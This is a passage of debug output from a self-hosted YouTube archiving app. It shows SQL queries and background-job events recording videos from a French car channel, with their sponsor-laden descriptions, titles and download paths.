l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, 2, ~U[2025-12-18 17:15:00Z]] 07:40:52.024 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=28.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:52.026 [debug] QUERY OK source="media_items" db=1.5ms idle=12.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 17:15:01Z], 2] 07:40:52.030 [debug] QUERY OK source="media_items" db=3.3ms idle=12.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "62ef4d2b-9586-43b4-85f8-a0014d9fb8ca", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", 17, "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, false, false, 2, [], 98, ~U[2025-12-11 17:15:01Z], ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, 2, ~U[2025-12-11 17:15:01Z]] 07:40:52.032 [debug] QUERY OK source="sources" db=0.9ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:52.034 [debug] QUERY OK source="media_items" db=1.4ms idle=9.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 17:15:03Z], 2] 07:40:52.038 [debug] QUERY OK source="media_items" db=3.0ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "a9417cd9-c4fd-4f54-b213-0ce5a804e137", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", 18, "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, false, false, 2, [], 98, ~U[2025-12-04 17:15:03Z], ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, 2, ~U[2025-12-04 17:15:03Z]] 07:40:52.039 [debug] QUERY OK source="sources" db=0.7ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:52.041 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=9.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 17:15:01Z], 2] 07:40:52.076 [debug] QUERY OK source="media_items" db=34.0ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "1292e265-5446-47f8-ba06-5c2356055ca2", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", 19, "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, false, false, 2, [], 98, ~U[2025-11-27 17:15:01Z], ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, 2, ~U[2025-11-27 17:15:01Z]] 07:40:52.078 [debug] QUERY OK source="sources" db=1.2ms idle=42.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:52.080 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=40.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 17:15:01Z], 2] 07:40:52.084 [debug] QUERY OK source="media_items" db=3.2ms idle=41.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "920549ab-8054-4aa9-944d-2145a887ee37", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", 20, "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, false, false, 2, [], 98, ~U[2025-11-20 17:15:01Z], ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, 2, ~U[2025-11-20 17:15:01Z]] 07:40:52.085 [debug] QUERY OK source="sources" db=0.8ms idle=43.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], 2] 07:40:52.087 [debug] QUERY OK source="media_items" db=1.7ms idle=10.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:40:52.090 [debug] QUERY OK source="media_items" db=1.9ms idle=10.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:40:52.091 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=10.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 07:40:52.095 [debug] QUERY OK source="tasks" db=0.9ms idle=7.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2364, 2, ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z]] 07:40:52.096 [info] {"args":{"id":2},"id":2358,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":86948922,"event":"job:stop","queue_time":819865,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:41:00.831 [info] {"source":"oban","duration":980,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:12.785 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:42.787 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.832 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:12.778 [info] {"args":{"id":1},"id":2359,"meta":{},"system_time":1776663732778349669,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:42:12.780 [debug] QUERY OK source="sources" db=1.4ms idle=485.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:12.782 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=487.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:12.790 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:12.815 [debug] QUERY OK source="media_items" db=32.2ms idle=490.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:42:12.819 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=38.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 07:42:12.822 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.9ms idle=39.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 